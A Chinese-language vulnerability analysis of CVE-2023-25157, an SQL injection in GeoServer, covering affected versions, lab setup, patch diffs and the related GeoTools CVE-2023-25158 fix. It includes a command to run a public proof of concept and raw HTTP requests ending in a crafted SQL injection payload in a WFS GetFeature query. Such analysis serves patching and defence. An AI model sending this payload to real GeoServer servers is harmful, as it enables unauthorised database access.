簡介

GeoServer是一個開源的地圖服務器,它是遵循OpenGIS Web服務器規范的J2EE實現,通過它可以方便的將地圖數據發布為地圖服務,實現地理空間數據在用戶之間的共享。

影響版本

geoserver<2.18.7

2.19.0<=geoserver<2.19.7

2.20.0<=geoserver<2.20.7

2.21.0<=geoserver<2.21.4

2.22.0<=geoserver<2.22.2

環境搭建

安裝方式有多種可以選擇

  • ? windwos下載安裝

https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下載后只需要指定端口直接下載可完成安裝

  • ? war包安裝

tomcat下載地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip

geoserver下載地址

https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip
  • ? 解壓下載后的文件geoserver-2.15.1-war.zip,得到geoserver.war
  • ? 把此geoserver.war文件拷貝到tomcat根目錄下的webapps文件夾下。
  • ? 啟動tomcat

訪問路徑,默認端口為8080,端口根據自己的需求開放即可,這里我開放的端口為8081

http://localhost:8081/geoserver/web/

分析

POC下載鏈接

https://github.com/win3zz/CVE-2023-25157
python3 CVE-2023-25157.py http://localhost:8081

查看提交的補丁分析一下漏洞

https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d

修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

重新添加了模塊org.geoserver.jdbcloader.JDBCLoaderProperties模塊用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模塊

屬性字段并更改了構造函數以包含此屬性字段。這允許對數據庫配置進行更多自定義,從而可能允許增強安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一個類,它添加了對使用命名參數對 JDBC 語句進行編程的支持,而不是使用經典占位符 ('?') 參數對 JDBC 語句進行編程

public ConfigDatabase(
            JDBCLoaderProperties properties,
            DataSource dataSource,
            XStreamInfoSerialBinding binding) {
        this(properties, dataSource, binding, null);
    }
    public ConfigDatabase(
            JDBCLoaderProperties properties,
            final DataSource dataSource,
            final XStreamInfoSerialBinding binding,
            CacheProvider cacheProvider) {
        this.properties = properties;
        this.binding = binding;
        this.template = new NamedParameterJdbcTemplate(dataSource);

通過使用參數化查詢而不是字符串連接

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改

          //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (");
          //sql.append(") query");
            sql.insert(
                    0,
                    "SELECT * FROM (SELECT query.*, rownum rnum FROM ("
                            + (isDebugMode() ? "" : ""));
            sql.append(") query");
            appendIfDebug(sql, "", " ");

修改了插入語法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java

中定義

 public boolean isDebugMode() {
        return debugMode;
    }
    public void setDebugMode(boolean debugMode) {
        this.debugMode = debugMode;
    }
    /** Escapes the contents of the SQL comment to prevent SQL injection. */
    public String escapeComment(String comment) {
        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
    }
    /** Appends the objects to the SQL in a comment if debug mode is enabled. */
    public StringBuilder appendComment(StringBuilder sql, Object... objects) {
        if (!debugMode) {
            return sql;
        }
        sql.append(" /* ");
        for (Object object : objects) {
            sql.append(escapeComment(String.valueOf(object)));
        }
        return sql.append(" */");
    }
    /** Appends the objects to the SQL in an comment if debug mode is enabled. */
    public StringBuilder appendComment(Object sql, Object... objects) {
        return appendComment((StringBuilder) sql, objects);
    }
    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
        return sql.append(debugMode ? ifEnabled : ifDisabled);
    }

獲取功能名POC

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

獲取功能屬性POC

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

構造惡意payload

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

這里引用一張圖,geotools的注入漏洞

漏洞編號CVE-2023-25158,查看補丁發現

在類中添加該escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一種預防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于轉義 SQL 語法中的特殊字符

  // single quotes must be escaped to have a valid sql string
  String escaped = escapeLiteral(encoding);

調用類escapeLiteral()中的方法EscapeSql.java。此方法旨在不僅轉義單引號,還轉義反斜杠,并可能根據其參數轉義雙引號

  public static String escapeLiteral(
            String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
            // ' --> ''
            String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
            if (escapeBackslash) {
                // \ --> \\
                escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
            }
            if (escapeDoubleQuote) {
                // " --> \"
                escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
            }
            return escaped;

至于為什么會聊到CVE-2023-25158,這里就要聊到GeoserverGeotools的關系了,可以參考這篇文章

https://blog.csdn.net/nmj2008/article/details/113869086

修復方案

  • ? 升級安全版本,目前已經有最新版本。

參考鏈接

    https://github.com/0x2458bughunt/CVE-2023-25157
    https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d#diff-ad9c7486badfa75fbc4945fec56a8bb870a983363eb1f8c8fa39fc69589a6593
    https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
    https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7
    https://blog.csdn.net/nmj2008/article/details/113869086